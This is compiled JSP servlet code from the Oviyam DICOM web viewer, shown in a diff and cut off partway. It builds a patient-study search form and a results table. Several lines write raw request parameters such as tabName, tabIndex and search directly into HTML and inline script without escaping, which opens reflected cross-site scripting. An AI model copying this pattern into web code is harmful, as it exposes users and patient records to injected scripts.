out.write(" <script type=\"text/javascript\" src=\"js/newSearch.js\"></script>\n");
out.write(" <script type=\"text/javascript\" src=\"js/LoadLanguage.js\"></script>\n");
out.write(" <script type=\"text/javascript\" src=\"js/lib/jquery-gentleSelect.js\"></script>\n");
out.write(" <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.alerts.css\" />\n");
out.write(" <link rel=\"stylesheet\" href=\"css/font-awesome/css/font-awesome.min.css\">\n");
out.write(" <script type=\"text/javascript\" src=\"js/lib/jquery.alerts.js\"></script>\n");
out.write(" <!-- <script type=\"text/javascript\" src=\"js/lib/jquery.multiselect.js\"></script>\n");
out.write(" <link href=\"css/jquery.multiselect.css\" rel=\"stylesheet\" type=\"text/css\"> -->\n");
out.write(" <script type=\"text/javascript\">\n");
out.write(" $(document).ready(function() {\n");
out.write(" $('button').button();\n");
out.write(" $('.bdate').datepicker();\n");
out.write(" $('.fsdate').datepicker();\n");
out.write(" $('.tsdate').datepicker();\n");
out.write(" \n");
out.write(" $('#");
out.print(request.getParameter("tabName"));
out.write("_modalities').gentleSelect({\n");
out.write("\t\t\t \t\t columns: 3,\n");
out.write("\t\t \t\t itemWidth: 20,\n");
out.write("\t\t\t\t maxDisplay: 3,\t\t\t\t \n");
out.write("\t\t\t\t prompt: \"ALL\", \n");
out.write("\t\t \t\t });\t\n");
out.write(" // $('#");
out.print(request.getParameter("tabName"));
out.write("_modalities').multiselect({\n");
out.write(" \t // \tcolumns: 2,\n");
out.write(" \t // \tminWidth: 157,\n");
out.write(" \t // \tselectedList: 4,\n");
out.write(" \t // \theader: true,\n");
out.write(" \t // \tincludeSelectAllOption: true,\n");
out.write(" \t // noneSelectedText: \"ALL\"\n");
out.write(" \t // });\n");
out.write("// var lang = getCookie('language');\n");
out.write("// if (lang == 'none') {\n");
out.write("// $.getScript('js/i18n/Bundle.js', function() {\n");
out.write("// loadLabels();\n");
out.write("// });\n");
out.write("// } else {\n");
out.write("// var fileName = 'js/i18n/' + \"Bundle_\" + lang + \".js\";\n");
out.write("// $.getScript(fileName, function() {\n");
out.write("// loadLabels();\n");
out.write("// });\n");
out.write("// }\n");
out.write("// $(\"label[for=patId]\").text(languages['PatientId']);\n");
out.write("// $(\"label[for=patName]\").text(languages['PatientName']);\n");
out.write("// $(\"label[for=accessionNo]\").text(languages['AccessionNumber']);\n");
out.write("// $(\"label[for=birthDate]\").text(languages['BirthDate']);\n");
out.write("// $(\"label[for=studyDesc]\").text(languages['StudyDesc']);\n");
out.write("// $(\"label[for=referPhysician]\").text(languages['ReferPhysician']);\n");
out.write("// $(\".bdate\").prev().text(languages['BirthDate']);\n");
out.write("// $(\".fsdate\").prev().text(languages['FromStudyDate']);\n");
out.write("// $(\".tsdate\").prev().text(languages['ToStudyDate']);\n");
out.write("// $(\".searchBtn\").text(languages['Search']);\n");
out.write("// $(\".clearBtn\").text(languages['Reset']);\n");
out.write("\n");
out.write(" }); //for document.ready\n");
out.write(" </script>\n");
out.write("\n");
out.write(" <style>\n");
out.write(" /* css for timepicker */\n");
out.write(" .ui-timepicker-div .ui-widget-header { margin-bottom: 8px; }\n");
out.write(" .ui-timepicker-div dl { text-align: left; }\n");
out.write(" .ui-timepicker-div dl dt { height: 25px; margin-bottom: -25px; }\n");
out.write(" .ui-timepicker-div dl dd { margin: 0 10px 10px 65px; }\n");
out.write(" .ui-tpicker-grid-label { background: none; border: none; margin: 0; padding: 0; }\n");
out.write("\n");
out.write(" #newQueryParamDiv label {\n");
out.write(" float: left;\n");
out.write(" width: 10em;\n");
out.write(" font-size: 13px;\n");
out.write(" } \n");
out.write(" \n");
out.write("/* .ui-state-default { */\n");
out.write("/* \tborder: 2px solid #2A2A2A !important; */\n");
out.write("/* } */\n");
out.write(" \n");
out.write(" .gentleselect-label {\n");
out.write(" \tfloat: left;\n");
out.write(" \t\t\t/*font-weight: bold;*/\n");
out.write(" \n");
out.write(" \t\t\tborder: 2px solid #2A2A2A !important;\n");
out.write(" \t\t\tbackground-image: url('css/images/expand.png');\n");
out.write(" \t\t\tdisplay: block; \n");
out.write("\t\t\t\twidth: 13em;\n");
out.write("\t\t\t\theight: 20px;\n");
out.write("\t\t\t\ttext-align: center;\n");
out.write("\t\t\t\tline-height: 2em;\n");
out.write("\t\t\t\tpadding: 0px !important;\n");
out.write(" }\n");
out.write(" \n");
out.write(" /* .gentleselect-dialog > ul {\n");
out.write(" \tfont-weight: bold;\n");
out.write(" }*/\n");
out.write(" \n");
out.write(" .gentleselect-dialog > ul > li.selected {\n");
out.write(" \tcolor: #fff;\n");
out.write("\t\t\t background-color: #0b93d5;\n");
out.write(" }\n");
out.write(" \n");
out.write(" .gentleselect-dialog > ul > li:hover {\n");
out.write(" \t background-color: #0972a5;\n");
out.write("\t\t\t color: #fff;\n");
out.write(" }\n");
out.write(" #findTable label{\n");
out.write(" font-size: 14px;\n");
out.write(" }\n");
out.write(" \n");
out.write(" </style>\n");
out.write("\n");
out.write(" </head>\n");
out.write(" <body>\n");
out.write(" <div id=\"newQueryParamDiv\" class=\"ui-widget-content\">\n");
out.write("<!-- <table id=\"findTable\" class=\"ui-widget-content\" width=\"930px\" height=\"90%\" cell-spacing=\"4\" style=\"margin-left: 10px; font-size: 100%;border: none;\"> -->\n");
out.write("<table id=\"findTable\" class=\"ui-widget-content\" width=\"100%\" height=\"90%\" cellspacing=\"4\" style=\"margin-left: 10px; font-size: 100%;border: none;\">\n");
out.write(" <tr>\n");
out.write("<!-- <td style=\"width:50px;\"> -->\n");
out.write("\t\t\t\t\t\t<td>\n");
out.write(" <label for=\"patId\">Patient ID</label>\n");
out.write(" <input type=\"search\" id=\"patId\" placeholder=\"Patient ID\" />\n");
out.write(" </td>\n");
out.write(" <td>\n");
out.write(" <label for=\"patName\">Patient Name</label>\n");
out.write(" <input type=\"search\" id=\"patName\" placeholder=\"Patient Name\" />\n");
out.write(" </td>\n");
out.write(" <!-- <td>\n");
out.write(" <label for=\"accessionNo\">Accession Number</label>\n");
out.write(" <input type=\"search\" id=\"accessionNo\" />\n");
out.write(" </td>\n");
out.write(" <td>\n");
out.write(" <label>Birth Date</label>\n");
out.write(" <input type=\"search\" class=\"bdate\" />\n");
out.write(" </td>-->\n");
out.write(" \n");
out.write(" <td>\n");
out.write(" <label>Study Date (From)</label>\n");
out.write(" <input type=\"search\" class=\"fsdate\" placeholder=\"MM/DD/YYYY\" />\n");
out.write(" </td>\n");
out.write(" <td>\n");
out.write(" <label>Study Date (To)</label>\n");
out.write(" <input type=\"search\" class=\"tsdate\" placeholder=\"MM/DD/YYYY\"/>\n");
out.write(" </td>\n");
out.write(" </tr>\n");
out.write(" <tr> \n");
out.write(" \t<td>\n");
out.write(" <label for=\"studyDesc\">Study Description</label>\n");
out.write(" <input type=\"search\" id=\"studyDesc\" placeholder=\"Study/ Procedure name\" />\n");
out.write(" </td>\n");
out.write(" \n");
out.write(" <td>\n");
out.write(" <label for=\"referPhysician\">Referring Physician</label>\n");
out.write(" <input type=\"search\" id=\"referPhysician\" placeholder=\"Referring Physician\" />\n");
out.write(" </td>\n");
out.write(" <td>\n");
out.write(" \t<div style=\"float: left; width: 10em; font-size: 14px; margin-top: 6px;\"> Modality </div>\n");
out.write(" \n");
out.write(" <select id=\"");
out.print(request.getParameter("tabName"));
out.write("_modalities\" multiple=\"multiple\" class=\"modalitiesList ");
out.print(request.getParameter("tabName"));
out.write("_modalities\" style=\"display: none;\">\n");
out.write(" \n");
out.write(" <option value=\"CT\">CT</option>\n");
out.write(" <option value=\"CR\">CR</option>\n");
out.write(" <option value=\"XA\">XA</option>\n");
out.write(" <option value=\"MR\">MR</option>\n");
out.write(" <option value=\"US\">US</option>\n");
out.write(" <option value=\"DX\">DX</option>\n");
out.write(" <option value=\"PX\">PX</option>\n");
out.write(" <option value=\"SC\">SC</option>\n");
out.write(" <option value=\"NM\">NM</option>\n");
out.write(" <option value=\"RF\">RF</option>\n");
out.write(" <option value=\"OT\">OT</option>\n");
out.write(" <option value=\"ECG\">ECG</option> \n");
out.write(" \n");
out.write(" </select> \n");
out.write("\n");
out.write(" </td> \n");
out.write(" <td colspan=\"2\"> \n");
out.write(" \t<button id=\"okBtn\" onclick=\"searchClick(this)\" style=\"float: left;width:7em;height:27px; font-size: 14px; margin-right: 10px;\" class=\"searchBtn\">Search</button> \t\n");
out.write(" \t \t<button id=\"resetBtn\" onclick=\"resetClick(this, ");
out.print(request.getParameter("tabName"));
out.write("_modalities);\" style=\"float: left;width:7em; height:27px; font-size: 14px;\" class=\"clearBtn\"> Reset</button> \t \t\n");
out.write("\t \t</td>\n");
out.write(" </tr>\n");
out.write(" </table>\n");
out.write(" </div>\n");
out.write(" </body>\n");
out.write("</html>\n");
} catch (Throwable t) {
if (!(t instanceof SkipPageException)){
out = _jspx_out;
if (out != null && out.getBufferSize() != 0)
try { out.clearBuffer(); } catch (java.io.IOException e) {}
if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
}
} finally {
_jspxFactory.releasePageContext(_jspx_page_context);
}
}
}

View File

@@ -0,0 +1,992 @@
package org.apache.jsp;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class queryResult_jsp extends org.apache.jasper.runtime.HttpJspBase
implements org.apache.jasper.runtime.JspSourceDependent {
private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();
private static java.util.List _jspx_dependants;
static {
_jspx_dependants = new java.util.ArrayList(1);
_jspx_dependants.add("/WEB-INF/tlds/PatientInfo.tld");
}
private org.apache.jasper.runtime.TagHandlerPool _005fjspx_005ftagPool_005ffmt_005fsetBundle_005fvar_005fbasename_005fnobody;
private org.apache.jasper.runtime.TagHandlerPool _005fjspx_005ftagPool_005fc_005fchoose;
private org.apache.jasper.runtime.TagHandlerPool _005fjspx_005ftagPool_005fc_005fwhen_005ftest;
private org.apache.jasper.runtime.TagHandlerPool _005fjspx_005ftagPool_005fc_005fotherwise;
private org.apache.jasper.runtime.TagHandlerPool _005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody;
private javax.el.ExpressionFactory _el_expressionfactory;
private org.apache.AnnotationProcessor _jsp_annotationprocessor;
public Object getDependants() {
return _jspx_dependants;
}
public void _jspInit() {
_005fjspx_005ftagPool_005ffmt_005fsetBundle_005fvar_005fbasename_005fnobody = org.apache.jasper.runtime.TagHandlerPool.getTagHandlerPool(getServletConfig());
_005fjspx_005ftagPool_005fc_005fchoose = org.apache.jasper.runtime.TagHandlerPool.getTagHandlerPool(getServletConfig());
_005fjspx_005ftagPool_005fc_005fwhen_005ftest = org.apache.jasper.runtime.TagHandlerPool.getTagHandlerPool(getServletConfig());
_005fjspx_005ftagPool_005fc_005fotherwise = org.apache.jasper.runtime.TagHandlerPool.getTagHandlerPool(getServletConfig());
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody = org.apache.jasper.runtime.TagHandlerPool.getTagHandlerPool(getServletConfig());
_el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
_jsp_annotationprocessor = (org.apache.AnnotationProcessor) getServletConfig().getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
}
public void _jspDestroy() {
_005fjspx_005ftagPool_005ffmt_005fsetBundle_005fvar_005fbasename_005fnobody.release();
_005fjspx_005ftagPool_005fc_005fchoose.release();
_005fjspx_005ftagPool_005fc_005fwhen_005ftest.release();
_005fjspx_005ftagPool_005fc_005fotherwise.release();
_005fjspx_005ftagPool_005ffmt_005fmessage_005fkey_005fbundle_005fnobody.release();
}
public void _jspService(HttpServletRequest request, HttpServletResponse response)
throws java.io.IOException, ServletException {
PageContext pageContext = null;
HttpSession session = null;
ServletContext application = null;
ServletConfig config = null;
JspWriter out = null;
Object page = this;
JspWriter _jspx_out = null;
PageContext _jspx_page_context = null;
try {
response.setContentType("text/html; charset=UTF-8");
pageContext = _jspxFactory.getPageContext(this, request, response,
null, true, 8192, true);
_jspx_page_context = pageContext;
application = pageContext.getServletContext();
config = pageContext.getServletConfig();
session = pageContext.getSession();
out = pageContext.getOut();
_jspx_out = out;
out.write("<!--\n");
out.write("/* ***** BEGIN LICENSE BLOCK *****\n");
out.write("* Version: MPL 1.1/GPL 2.0/LGPL 2.1\n");
out.write("*\n");
out.write("* The contents of this file are subject to the Mozilla Public License Version\n");
out.write("* 1.1 (the \"License\"); you may not use this file except in compliance with\n");
out.write("* the License. You may obtain a copy of the License at\n");
out.write("* http://www.mozilla.org/MPL/\n");
out.write("*\n");
out.write("* Software distributed under the License is distributed on an \"AS IS\" basis,\n");
out.write("* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n");
out.write("* for the specific language governing rights and limitations under the\n");
out.write("* License.\n");
out.write("*\n");
out.write("* The Original Code is part of Oviyam, an web viewer for DICOM(TM) images\n");
out.write("* hosted at http://skshospital.net/pacs/webviewer/oviyam_0.6-src.zip\n");
out.write("*\n");
out.write("* The Initial Developer of the Original Code is\n");
out.write("* Raster Images\n");
out.write("* Portions created by the Initial Developer are Copyright (C) 2014\n");
out.write("* the Initial Developer. All Rights Reserved.\n");
out.write("*\n");
out.write("* Contributor(s):\n");
out.write("* Babu Hussain A\n");
out.write("* Devishree V\n");
out.write("* Meer Asgar Hussain B\n");
out.write("* Prakash J\n");
out.write("* Suresh V\n");
out.write("* Yogapraveen K\n");
out.write("* Guruprasath R\n");
out.write("* Balamurugan R\n");
out.write("*\n");
out.write("* Alternatively, the contents of this file may be used under the terms of\n");
out.write("* either the GNU General Public License Version 2 or later (the \"GPL\"), or\n");
out.write("* the GNU Lesser General Public License Version 2.1 or later (the \"LGPL\"),\n");
out.write("* in which case the provisions of the GPL or the LGPL are applicable instead\n");
out.write("* of those above. If you wish to allow use of your version of this file only\n");
out.write("* under the terms of either the GPL or the LGPL, and not to allow others to\n");
out.write("* use your version of this file under the terms of the MPL, indicate your\n");
out.write("* decision by deleting the provisions above and replace them with the notice\n");
out.write("* and other provisions required by the GPL or the LGPL. If you do not delete\n");
out.write("* the provisions above, a recipient may use your version of this file under\n");
out.write("* the terms of any one of the MPL, the GPL or the LGPL.\n");
out.write("*\n");
out.write("* ***** END LICENSE BLOCK ***** */\n");
out.write("-->\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\n");
String patName = request.getParameter("patientName");
String tabName = request.getParameter("tabName");
if (patName != null) {
patName = new String(patName.getBytes("ISO-8859-1"), "UTF-8");
}
out.write('\n');
out.write('\n');
if (_jspx_meth_fmt_005fsetBundle_005f0(_jspx_page_context))
return;
out.write("\n");
out.write("\n");
out.write("<html>\n");
out.write("\n");
out.write("<head>\n");
out.write("<style>\n");
out.write("/* \n");
out.write("\t\t\t\t\t\t\t\t\t\t##Device = Desktops\n");
out.write("\t\t\t\t\t\t\t\t\t\t##Screen = 1281px to higher resolution desktops\n");
out.write("\t\t\t\t\t\t\t\t\t\t*/\n");
out.write("@media ( min-width : 1281px) {\n");
out.write("\t.dataTables_scrollBody {\n");
out.write("\t\tmax-height: 100% !important;\n");
out.write("\t\toverflow: auto;\n");
out.write("\t}\n");
out.write("}\n");
out.write("\n");
out.write("/* \n");
out.write("\t\t\t\t\t\t\t\t\t\t##Device = Laptops, Desktops\n");
out.write("\t\t\t\t\t\t\t\t\t\t##Screen = B/w 1025px to 1280px\n");
out.write("\t\t\t\t\t\t\t\t\t\t*/\n");
out.write("@media ( min-width : 1025px) and (max-width: 1280px) {\n");
out.write("\t.dataTables_scrollBody {\n");
out.write("\t\tmax-height: 100% !important;\n");
out.write("\t\toverflow: auto;\n");
out.write("\t}\n");
out.write("}\n");
out.write("\n");
out.write("/* \n");
out.write("\t\t\t\t\t\t\t\t\t\t##Device = Tablets, Ipads (portrait)\n");
out.write("\t\t\t\t\t\t\t\t\t\t##Screen = B/w 768px to 1024px\n");
out.write("\t\t\t\t\t\t\t\t\t\t*/\n");
out.write("@media ( min-width : 768px) and (max-width: 1024px) {\n");
out.write("}\n");
out.write("\n");
out.write("/* \n");
out.write("\t\t\t\t\t\t\t\t\t\t##Device = Tablets, Ipads (landscape)\n");
out.write("\t\t\t\t\t\t\t\t\t\t##Screen = B/w 768px to 1024px\n");
out.write("\t\t\t\t\t\t\t\t\t\t*/\n");
out.write("@media ( min-width : 768px) and (max-width: 1024px) and (orientation:\n");
out.write("\tlandscape) {\n");
out.write("}\n");
out.write("\n");
out.write(".dataTables_scrollBody {\n");
out.write("\tmin-height: 80% !important;\n");
out.write("\tmax-height: 82% !important;\n");
out.write("\tborder-collapse: collapse;\n");
out.write("}\n");
out.write("\n");
out.write(".dataTables_wrapper {\n");
out.write("\tborder-collapse: collapse;\n");
out.write("}\n");
out.write("\n");
out.write(".dataTables_info {\n");
out.write("\twidth: auto;\n");
out.write("\tfont-size: 13px;\n");
out.write("}\n");
out.write("\n");
out.write(".dataTables_length {\n");
out.write("\tfont-size: 14px;\n");
out.write("\tmargin-bottom: -21px;\n");
out.write("\tmargin-left: 54px;\n");
out.write("\tposition: absolute;\n");
out.write("\ttext-align: justify;\n");
out.write("}\n");
out.write("\n");
out.write(".dataTables_paginate .ui-button {\n");
out.write("\t/* margin-right: 4px !important; */\n");
out.write("\tmargin: 3px !important;\n");
out.write("\tfont-size: 14px;\n");
out.write("\tpadding: 3px;\n");
out.write("}\n");
out.write("\n");
out.write("table {\n");
out.write("\twidth: 100%;\n");
out.write("}\n");
out.write("\n");
out.write(".display td {\n");
out.write("\t/* text-align: left; */\n");
out.write("\tpadding: 15px !important;\n");
out.write("}\n");
out.write("\n");
out.write(".display {\n");
out.write("\tborder-collapse: collapse !important;\n");
out.write("}\n");
out.write("\n");
out.write("tr.odd {\n");
out.write("\tbackground-color: #bbbbbb;\n");
out.write("}\n");
out.write("\n");
out.write("tr.even {\n");
out.write("\tbackground-color: #fff;\n");
out.write("}\n");
out.write("\n");
out.write("table.display tr.even.row_selected td {\n");
out.write("\tbackground-color: #718ea0;\n");
out.write("}\n");
out.write("\n");
out.write("table.display tr.odd.row_selected td {\n");
out.write("\tbackground-color: #718ea0;\n");
out.write("}\n");
out.write("\n");
out.write("/*\n");
out.write("\t\t\t\t\t\t\t\t\t* Sorting classes for columns\n");
out.write("\t\t\t\t\t\t\t\t\t*/\n");
out.write("\n");
out.write("/* For the standard odd/even */\n");
out.write("tr.odd td.sorting_1 {\n");
out.write("\tbackground-color: #bbbbbb;\n");
out.write("}\n");
out.write("\n");
out.write("tr.even td.sorting_1 {\n");
out.write("\tbackground-color: #fff;\n");
out.write("}\n");
out.write("\n");
out.write(".display, .dataTables_scrollHeadInner {\n");
out.write("\twidth: 100% !important;\n");
out.write("}\n");
out.write("\n");
out.write(".dataTables_scrollHeadInner {\n");
out.write("\twidth: 100% !important;\n");
out.write("}\n");
out.write("\n");
out.write(".dataTables_filter {\n");
out.write("\tfont-size: 14px;\n");
out.write("}\n");
out.write("</style>\n");
out.write("\n");
out.write("<script type=\"text/javascript\">\n");
out.write("\tvar dTable;\n");
out.write("\t$(document).ready(function () {\n");
out.write("\tvar tableName = '#");
out.print(tabName);
out.write("_table';\n");
out.write("\tdTable = $(tableName).DataTable({\n");
out.write("\t\t\t\"bJQueryUI\": true,\n");
out.write("\t\t\t//\"sPaginationType\": \"full_numbers\",\t\t\t\t\t\t\t\t\t\t\t\n");
out.write("\t\t\t\"bPaginate\": true,\n");
out.write("\t\t\t\"responsive\": true,\n");
out.write("\t\t\t//\"bFilter\": false,\n");
out.write("\t\t\t\"oLanguage\": {\n");
out.write("\t\t\t\t\t\"sSearch\": \"Filter \"\n");
out.write("\t\t\t},\n");
out.write("\t\t\t\"sScrollY\": \"87%\",\n");
out.write("\t\t\t\"bScrollCollapse\": true,\n");
out.write("\t\t\t\"bAutoWidth\": true,\n");
out.write("\t\t\t\"sScrollX\": \"100%\",\n");
out.write("\t\t\t\"sScrollBody\":\"100%\",\n");
out.write("\t\t\t//\"sScrollXInner\": \"100%\",\n");
out.write("\t\t\t\"aaSorting\": [[4, \"desc\"]],\n");
out.write("\t\t\t\"aoColumnDefs\": [{\n");
out.write("\t\t\t\t\t \"aTargets\": [0],\n");
out.write("\t\t\t\t\t \"fnCreatedCell\": function (nTd, sData, oData, iRow, iCol) {\n");
out.write("\t\t\t\t\t\t\tif (sData.indexOf('img') >= 0) {\n");
out.write("\t\t\t\t\t\t\t\t\t$(nTd).css('padding', '0px');\n");
out.write("\t\t\t\t\t\t\t\t\t$(nTd).css('text-align', 'center');\n");
out.write("\t\t\t\t\t\t\t}\n");
out.write("\t\t\t\t\t\t\t\n");
out.write("\t\t\t\t\t }\n");
out.write("\t\t\t}],\n");
out.write("\t\t\t\"aoColumns\": [null, null, null, null, null, null, null, null, { \"bVisible\": false }, { \"bVisible\": false }, { \"bVisible\": false }]\n");
out.write("\t});\n");
out.write("\n");
out.write("\n");
out.write("\n");
out.write("\t$.fn.dataTableInstances[");
out.print(request.getParameter("tabIndex"));
out.write("] = dTable;\n");
out.write("\n");
out.write("\tif (");
out.print(request.getParameter("search"));
out.write("!=null && !");
out.print(request.getParameter("search"));
out.write(") { //For Direct launch\n");
out.write("\t\t\t$('#searchToggler').hide();\n");
out.write("\t\t\t$('#Toggler').css('top', '0.5%');\n");
out.write("\t} \n");
out.write("\t});\n");
out.write("\n");
out.write("\tfunction toggleDivider(divider) {\n");
out.write("\t\t\tvar westPane = $('#");
out.print(tabName);
out.write("_westPane');\n");
out.write("\n");
out.write("\t\t\tif ($(westPane).is(\":visible\")) {\n");
out.write("\t\t\t\t\t// $(westPane).html('');\n");
out.write("\t\t\t\t\t$(westPane).hide();\n");
out.write("\t\t\t\t\tconsole.log($('#Toggler').next());\n");
out.write("\t\t\t\t\tconsole.log($('#Toggler').next());\n");
out.write("\t\t\t\t\t$('#Toggler').next().css('width', '100%');\n");
out.write("\t\t\t\t\t$('#Toggler').next().css('left', '0px');\n");
out.write("\t\t\t\t\t$('#Toggler').css('left', '0px');\n");
out.write("\t\t\t\t\t$(divider).attr('title', 'Show Preview');\n");
out.write("\t\t\t\t\tif ($('#");
out.print(tabName);
out.write("_search').is(\":visible\")) {\n");
out.write("\t\t\t\t\t\t\t$(divider).css('background', 'url(\"images/showall.png\")');\n");
out.write("\t\t\t\t\t\t\t$(divider).next().css('background', 'url(\"images/hideall.png\")');\n");
out.write("\t\t\t\t\t} else {\n");
out.write("\t\t\t\t\t\t\t$(divider).css('background', 'url(\"images/hidesearch.png\")');\n");
out.write("\t\t\t\t\t\t\t$(divider).next().css('background', 'url(\"images/hidewest.png\")');\n");
out.write("\t\t\t\t\t}\n");
out.write("\t\t\t} else {\n");
out.write("\t\t\t\t\tloadWest();\n");
out.write("\t\t\t\t\t$(westPane).show();\n");
out.write("\t\t\t\t\t$('#Toggler').next().css('left', '256px');\n");
out.write("\t\t\t\t\t$('#Toggler').next().css('width', $('body').width() - 260 + 'px');\n");
out.write("\t\t\t\t\t$(divider).attr('title', 'Hide Preview');\n");
out.write("\t\t\t\t\t$('#Toggler').css('left', '256px');\n");
out.write("\t\t\t\t\tif ($('#");
out.print(tabName);
out.write("_search').is(\":visible\")) {\n");
out.write("\t\t\t\t\t\t\t$(divider).css('background', 'url(\"images/hidewest.png\")');\n");
out.write("\t\t\t\t\t\t\t$(divider).next().css('background', 'url(\"images/hidesearch.png\")');\n");
out.write("\t\t\t\t\t} else {\n");
out.write("\t\t\t\t\t\t\t$(divider).css('background', 'url(\"images/hideall.png\")');\n");
out.write("\t\t\t\t\t\t\t$(divider).next().css('background', 'url(\"images/showall.png\")');\n");
out.write("\t\t\t\t\t}\n");
out.write("\t\t\t}\n");
out.write("\t\t\t$('#");
out.print(tabName);
out.write("_table').css('width', '100%');\n");
out.write("\t\t\tdTable.columns.adjust().draw();\n");
out.write("\t}\n");
out.write("\n");
out.write("\tfunction toggleSearch(divider) {\n");
out.write("\t\t\tvar searchPane = $('#");
out.print(tabName);
out.write("_search');\n");
out.write("\t\t\tvar tabContent = $('#");
out.print(tabName);
out.write("_content');\n");
out.write("\n");
out.write("\n");
out.write("\t\t\tif ($(searchPane).is(\":visible\")) {\n");
out.write("\t\t\t\t\t$(searchPane).hide();\n");
out.write("\t\t\t\t\t// $(tabContent).css('height', '100%');\n");
out.write("\t\t\t\t\t$(tabContent).css('height', '83%');\n");
out.write("\t\t\t\t\t$('#Toggler').css('top', '1%');\n");
out.write("\t\t\t\t\t$('#Toggler').next().css('top', '0px');\n");
out.write("\t\t\t\t\t// $('#Toggler').next().css('height', '100%');\n");
out.write("\t\t\t\t\t$('#Toggler').next().css('height', '83%');\n");
out.write("\t\t\t\t\t$(divider).attr('title', 'Show Search');\n");
out.write("\n");
out.write("\t\t\t\t\tif ($('#");
out.print(tabName);
out.write("_westPane').is(\":visible\")) {\n");
out.write("\t\t\t\t\t\t\t$(divider).css('background', 'url(\"images/showall.png\")');\n");
out.write("\t\t\t\t\t\t\t$(divider).prev().css('background', 'url(\"images/hideall.png\")');\n");
out.write("\t\t\t\t\t} else {\n");
out.write("\t\t\t\t\t\t\t$(divider).css('background', 'url(\"images/hidewest.png\")');\n");
out.write("\t\t\t\t\t\t\t$(divider).prev().css('background', 'url(\"images/hidesearch.png\")');\n");
out.write("\t\t\t\t\t}\n");
out.write("\t\t\t} else {\n");
out.write("\t\t\t\t\t$(searchPane).show();\n");
out.write("\t\t\t\t\t$(divider).attr('title', 'Hide Search');\n");
out.write("\t\t\t\t\t$(tabContent).css('height', '83%');\n");
out.write("\t\t\t\t\t$('#Toggler').css('top', '13.5%');\n");
out.write("\t\t\t\t\t$('#Toggler').next().css('top', '13%');\n");
out.write("\t\t\t\t\t$('#Toggler').next().css('height', '83%');\n");
out.write("\n");
out.write("\t\t\t\t\tif ($('#");
out.print(tabName);
out.write("_westPane').is(\":visible\")) {\n");
out.write("\t\t\t\t\t\t\t$(divider).css('background', 'url(\"images/hidesearch.png\")');\n");
out.write("\t\t\t\t\t\t\t$(divider).prev().css('background','url(\"images/hidewest.png\")');\n");
out.write("\t\t\t\t\t} else {\n");
out.write("\t\t\t\t\t\t\t$(divider).css('background', 'url(\"images/hideall.png\")');\n");
out.write("\t\t\t\t\t\t\t$(divider).prev()\n");
out.write("\t\t\t\t\t\t\t.css('background', 'url(\"images/showall.png\")');\n");
out.write("\t\t\t\t\t}\n");
out.write("\t\t\t}\n");
out.write("\t}\n");
out.write("\n");
out.write("\tfunction loadWest() {\n");
out.write("\t\tvar selected = dTable.$('tr.row_selected');\n");
out.write("\n");
out.write("\t\tif (selected.length > 0) {\n");
out.write("\t\t\t// \t\t \tvar iPos = dTable.fnGetData($(dTable.find('.row_selected')).get(0));\n");
out.write("\t\t\tvar iPos = dTable.row(this).data();\n");
out.write("\t\t\tif (iPos == null) {\n");
out.write("\t\t\t\treturn;\n");
out.write("\t\t\t}\n");
out.write("\t\t\tshowWestPane(iPos);\n");
out.write("\t\t}\n");
out.write("\t}\n");
out.write("</script>\n");
out.write("</head>\n");
out.write("\n");
out.write("<body>\n");
out.write("\t");
// c:choose
org.apache.taglibs.standard.tag.common.core.ChooseTag _jspx_th_c_005fchoose_005f0 = (org.apache.taglibs.standard.tag.common.core.ChooseTag) _005fjspx_005ftagPool_005fc_005fchoose.get(org.apache.taglibs.standard.tag.common.core.ChooseTag.class);
_jspx_th_c_005fchoose_005f0.setPageContext(_jspx_page_context);
_jspx_th_c_005fchoose_005f0.setParent(null);
int _jspx_eval_c_005fchoose_005f0 = _jspx_th_c_005fchoose_005f0.doStartTag();
if (_jspx_eval_c_005fchoose_005f0 != javax.servlet.jsp.tagext.Tag.SKIP_BODY) {
do {
out.write('\n');
out.write(' ');
out.write(' ');
// c:when
org.apache.taglibs.standard.tag.rt.core.WhenTag _jspx_th_c_005fwhen_005f0 = (org.apache.taglibs.standard.tag.rt.core.WhenTag) _005fjspx_005ftagPool_005fc_005fwhen_005ftest.get(org.apache.taglibs.standard.tag.rt.core.WhenTag.class);
_jspx_th_c_005fwhen_005f0.setPageContext(_jspx_page_context);
_jspx_th_c_005fwhen_005f0.setParent((javax.servlet.jsp.tagext.Tag) _jspx_th_c_005fchoose_005f0);
// /queryResult.jsp(333,2) name = test type = boolean reqTime = true required = true fragment = false deferredValue = false expectedTypeName = null deferredMethod = false methodSignature = null
_jspx_th_c_005fwhen_005f0.setTest(((java.lang.Boolean) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate("${param.preview=='true'}", java.lang.Boolean.class, (PageContext)_jspx_page_context, null, false)).booleanValue());
int _jspx_eval_c_005fwhen_005f0 = _jspx_th_c_005fwhen_005f0.doStartTag();
if (_jspx_eval_c_005fwhen_005f0 != javax.servlet.jsp.tagext.Tag.SKIP_BODY) {
do {
out.write("\n");
out.write("\t\t\t<div id=\"");
out.print(tabName);
out.write("_westPane\"\n");
out.write("\t\t\t\tstyle=\"width: 255px; visibility: visible; display: block; z-index: 0; float: left; height: 94%;\"></div>\n");
out.write("\n");
out.write("\t\t\t<div id=\"Toggler\"\n");
out.write("\t\t\t\tstyle=\"position: absolute; top: 13.5%; left: 256px; z-index: 3;\">\n");
out.write("\n");
out.write("\t\t\t\t<div id=\"westToggler\" name=\"testToggler\" title=\"Hide Preview\"\n");
out.write("\t\t\t\t\tclass=\"ui-state-default\"\n");
out.write("\t\t\t\t\tonmouseover=\"this.className='ui-state-hover'\"\n");
out.write("\t\t\t\t\tonmouseout=\"this.className='ui-state-default'\"\n");
out.write("\t\t\t\t\tstyle=\"width: 24px; height: 24px; cursor: pointer; float: left; z-index: 3; background: url('images/hidewest.png'); border: none;\"\n");
